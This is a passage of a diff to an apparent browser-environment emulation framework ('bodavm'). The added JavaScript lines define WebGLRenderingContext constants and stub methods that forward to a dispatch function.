+bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "activeTexture", {configurable:true, enumerable:true, writable:true, value:function activeTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "activeTexture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "attachShader", {configurable:true, enumerable:true, writable:true, value:function attachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "attachShader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindAttribLocation", {configurable:true, enumerable:true, writable:true, value:function bindAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindAttribLocation", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function bindRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindRenderbuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendColor", {configurable:true, enumerable:true, writable:true, value:function blendColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendColor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquation", {configurable:true, enumerable:true, writable:true, value:function blendEquation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquation", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquationSeparate", {configurable:true, enumerable:true, writable:true, value:function blendEquationSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquationSeparate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFunc", {configurable:true, enumerable:true, writable:true, value:function blendFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFunc", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function blendFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFuncSeparate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferData", {configurable:true, enumerable:true, writable:true, value:function bufferData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferSubData", {configurable:true, enumerable:true, writable:true, value:function bufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferSubData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "checkFramebufferStatus", {configurable:true, enumerable:true, writable:true, value:function checkFramebufferStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "checkFramebufferStatus", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compileShader", {configurable:true, enumerable:true, writable:true, value:function compileShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compileShader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexImage2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexSubImage2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexImage2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexSubImage2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createFramebuffer", {configurable:true, enumerable:true, writable:true, value:function createFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createFramebuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createProgram", {configurable:true, enumerable:true, writable:true, value:function createProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createProgram", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function createRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createRenderbuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createShader", {configurable:true, enumerable:true, writable:true, value:function createShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createShader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createTexture", {configurable:true, enumerable:true, writable:true, value:function createTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createTexture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "cullFace", {configurable:true, enumerable:true, writable:true, value:function cullFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "cullFace", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteBuffer", {configurable:true, enumerable:true, writable:true, value:function deleteBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteFramebuffer", {configurable:true, enumerable:true, writable:true, value:function deleteFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteFramebuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteProgram", {configurable:true, enumerable:true, writable:true, value:function deleteProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteProgram", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function deleteRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteRenderbuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteShader", {configurable:true, enumerable:true, writable:true, value:function deleteShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteShader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteTexture", {configurable:true, enumerable:true, writable:true, value:function deleteTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteTexture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthFunc", {configurable:true, enumerable:true, writable:true, value:function depthFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthFunc", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthMask", {configurable:true, enumerable:true, writable:true, value:function depthMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthMask", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthRange", {configurable:true, enumerable:true, writable:true, value:function depthRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthRange", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "detachShader", {configurable:true, enumerable:true, writable:true, value:function detachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "detachShader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disable", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enable", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "finish", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "flush", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function framebufferRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferRenderbuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferTexture2D", {configurable:true, enumerable:true, writable:true, value:function framebufferTexture2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferTexture2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "frontFace", {configurable:true, enumerable:true, writable:true, value:function frontFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "frontFace", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "generateMipmap", {configurable:true, enumerable:true, writable:true, value:function generateMipmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "generateMipmap", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveAttrib", {configurable:true, enumerable:true, writable:true, value:function getActiveAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveAttrib", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveUniform", {configurable:true, enumerable:true, writable:true, value:function getActiveUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveUniform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttachedShaders", {configurable:true, enumerable:true, writable:true, value:function getAttachedShaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttachedShaders", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttribLocation", {configurable:true, enumerable:true, writable:true, value:function getAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttribLocation", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getBufferParameter", {configurable:true, enumerable:true, writable:true, value:function getBufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getBufferParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getContextAttributes", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getError", {configurable:true, enumerable:true, writable:true, value:function getError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getError", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getExtension", {configurable:true, enumerable:true, writable:true, value:function getExtension (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getExtension", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getFramebufferAttachmentParameter", {configurable:true, enumerable:true, writable:true, value:function getFramebufferAttachmentParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getFramebufferAttachmentParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramInfoLog", {configurable:true, enumerable:true, writable:true, value:function getProgramInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramInfoLog", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramParameter", {configurable:true, enumerable:true, writable:true, value:function getProgramParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getRenderbufferParameter", {configurable:true, enumerable:true, writable:true, value:function getRenderbufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getRenderbufferParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderInfoLog", {configurable:true, enumerable:true, writable:true, value:function getShaderInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderInfoLog", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderParameter", {configurable:true, enumerable:true, writable:true, value:function getShaderParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderPrecisionFormat", {configurable:true, enumerable:true, writable:true, value:function getShaderPrecisionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderPrecisionFormat", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderSource", {configurable:true, enumerable:true, writable:true, value:function getShaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderSource", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getSupportedExtensions", {configurable:true, enumerable:true, writable:true, value:function getSupportedExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getSupportedExtensions", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getTexParameter", {configurable:true, enumerable:true, writable:true, value:function getTexParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getTexParameter", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniform", {configurable:true, enumerable:true, writable:true, value:function getUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniformLocation", {configurable:true, enumerable:true, writable:true, value:function getUniformLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniformLocation", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttrib", {configurable:true, enumerable:true, writable:true, value:function getVertexAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttrib", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttribOffset", {configurable:true, enumerable:true, writable:true, value:function getVertexAttribOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttribOffset", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "hint", {configurable:true, enumerable:true, writable:true, value:function hint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "hint", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isBuffer", {configurable:true, enumerable:true, writable:true, value:function isBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isContextLost", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isEnabled", {configurable:true, enumerable:true, writable:true, value:function isEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isEnabled", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isFramebuffer", {configurable:true, enumerable:true, writable:true, value:function isFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isFramebuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isProgram", {configurable:true, enumerable:true, writable:true, value:function isProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isProgram", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function isRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isRenderbuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isShader", {configurable:true, enumerable:true, writable:true, value:function isShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isShader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isTexture", {configurable:true, enumerable:true, writable:true, value:function isTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isTexture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "lineWidth", {configurable:true, enumerable:true, writable:true, value:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "lineWidth", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "linkProgram", {configurable:true, enumerable:true, writable:true, value:function linkProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "linkProgram", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "pixelStorei", {configurable:true, enumerable:true, writable:true, value:function pixelStorei (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "pixelStorei", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "polygonOffset", {configurable:true, enumerable:true, writable:true, value:function polygonOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "polygonOffset", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "readPixels", {configurable:true, enumerable:true, writable:true, value:function readPixels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "readPixels", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "renderbufferStorage", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "renderbufferStorage", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "sampleCoverage", {configurable:true, enumerable:true, writable:true, value:function sampleCoverage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "sampleCoverage", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "shaderSource", {configurable:true, enumerable:true, writable:true, value:function shaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "shaderSource", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFunc", {configurable:true, enumerable:true, writable:true, value:function stencilFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFunc", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFuncSeparate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMask", {configurable:true, enumerable:true, writable:true, value:function stencilMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMask", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMaskSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilMaskSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMaskSeparate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOp", {configurable:true, enumerable:true, writable:true, value:function stencilOp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOp", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOpSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilOpSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOpSeparate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texImage2D", {configurable:true, enumerable:true, writable:true, value:function texImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texImage2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameterf", {configurable:true, enumerable:true, writable:true, value:function texParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameterf", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameteri", {configurable:true, enumerable:true, writable:true, value:function texParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameteri", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texSubImage2D", {configurable:true, enumerable:true, writable:true, value:function texSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texSubImage2D", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "useProgram", {configurable:true, enumerable:true, writable:true, value:function useProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "useProgram", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "validateProgram", {configurable:true, enumerable:true, writable:true, value:function validateProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "validateProgram", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindBuffer", {configurable:true, enumerable:true, writable:true, value:function bindBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', 